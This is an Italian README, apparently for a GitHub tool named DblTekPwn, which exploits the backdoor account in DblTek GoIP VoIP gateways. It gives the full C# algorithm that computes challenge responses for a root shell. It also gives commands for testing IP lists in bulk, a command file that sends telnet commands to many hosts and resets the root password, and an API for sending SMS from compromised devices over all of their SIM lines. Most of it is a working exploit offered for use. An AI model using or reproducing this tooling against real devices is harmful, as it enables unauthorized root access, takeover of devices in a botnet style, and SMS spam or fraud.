
Strumento per verificare se un IP di un DblTek GoIP è vulnerabile a un sistema di login challenge-response, inviare messaggi SMS dal sistema, eseguire comandi remoti in stile botnet e generare risposte alle challenge.
Tool per sfruttare il sistema di risposta alle challenge nei dispositivi DblTek GoIP vulnerabili. Può generare risposte a challenge specifiche, testare gli host per la vulnerabilità, eseguire comandi su host vulnerabili, inviare messaggi SMS da un host e accedere a una shell root su qualsiasi host vulnerabile.
Il 2 marzo 2017, Trustwave ha pubblicato una vulnerabilità scoperta dai ricercatori di sicurezza nei telefoni VoIP DblTek GoIP. La vulnerabilità era una backdoor nel firmware per un account chiamato 'dbladm'. Quando un utente inseriva questo come nome utente in un prompt telnet, il sistema presentava una challenge che, se seguita dalla risposta corretta, concedeva all'utente una shell root sul sistema.
Il problema di un tale sistema di risposta alle challenge è che i dispositivi sono sicuri quanto l'algoritmo per generare le risposte, che è stato reverse-engineered dai binari del firmware forniti da DblTek. Utilizzando questo algoritmo, è possibile ottenere una shell root su QUALSIASI dispositivo DblTek GoIP.
Articolo originale: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
Usando la descrizione della backdoor fornita nell'articolo, sono riuscito a scrivere quello che credo sia uno dei primi codici di exploit per questa vulnerabilità. Il cuore di questo è ovviamente l'algoritmo per generare la risposta basata su una data challenge. Ecco una funzione per farlo scritta in C#.
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.
string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.
byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];
var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.
StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));
return sb.ToString(); // Profit
}
Quando DblTekPwn viene eseguito senza argomenti, viene visualizzato l'help. Questo è l'output:
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]
[MODE]:
-c --compute-response [CHALLENGE] Calcola una risposta per la challenge data.
-r --root-shell Avvia una shell root con l'host vulnerabile.
-s --send-commands [COMMAND_FILE] Invia comandi da un file agli host vulnerabili.
-t --test Testa gli host e determina se sono vulnerabili.
-h --help Mostra questo help ed esce.
[HOSTS]:
-n --name [IP] Specifica un singolo indirizzo IP.
-f --file [IP_FILE] Specifica un file con IP\nIP\nIP.
[OUTPUT]:
-o --output [OUTPUT_FILE] Specifica un file di output. Default stdout.
DblTekGoIPPwn rende facile ottenere una shell root su qualsiasi sistema vulnerabile. Basta eseguire il seguente comando usando l'IP vulnerabile.
DblTekPwn.exe --root-shell --name 192.168.1.1
Vedrai un output simile a questo:
Password: ***********
Da qui puoi iniziare a inserire comandi (non c'è un prompt della shell).
Supponiamo di voler calcolare la risposta a una challenge GoIP N1746203308. Basta eseguire il seguente comando.
DblTekPwn --compute-response N1746203308
L'output sarà la risposta:
d6176d3aab2
Supponiamo di voler controllare list.txt di IP per GoIP vulnerabili e inviare questo output a results.txt. Prima assicurati che gli IP siano nel formato ip:porta (la porta di default è 23) e che gli IP siano separati da un newline \n. Il seguente comando può quindi essere eseguito.
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
Il False o True dopo l'host indica se l'IP è vulnerabile o meno.
Supponiamo di avere una lista di comandi (che in realtà è una lista di input telnet) in cmds.txt da inviare a list.txt di IP e inviare l'output a results.txt. Prima assicurati che gli IP siano nel formato ip:porta (la porta di default è 23) e che SIA gli IP SIA i comandi siano separati da un newline \n nei rispettivi file. Il seguente comando può quindi essere eseguito.
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor
exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
Il False o True dopo l'host indica se la connessione è stata stabilita con successo e i comandi sono stati consegnati.
Il codice in questo repository GitHub fornisce un'astrazione per inviare messaggi SMS (di testo) da un GoIP compromesso. Per utilizzare questo codice, includi DblTekPwn.exe nella tua applicazione e aggiungi il seguente using.
using DblTekPwn.SMS
Ora nel tuo codice puoi usare il metodo statico SmsSender.SendSms. Ecco alcuni esempi.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);
La maggior parte dei GoIP ha fino a 32 SIM card a bordo, consentendo all'hacker di inviare SMS da tutte queste linee.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);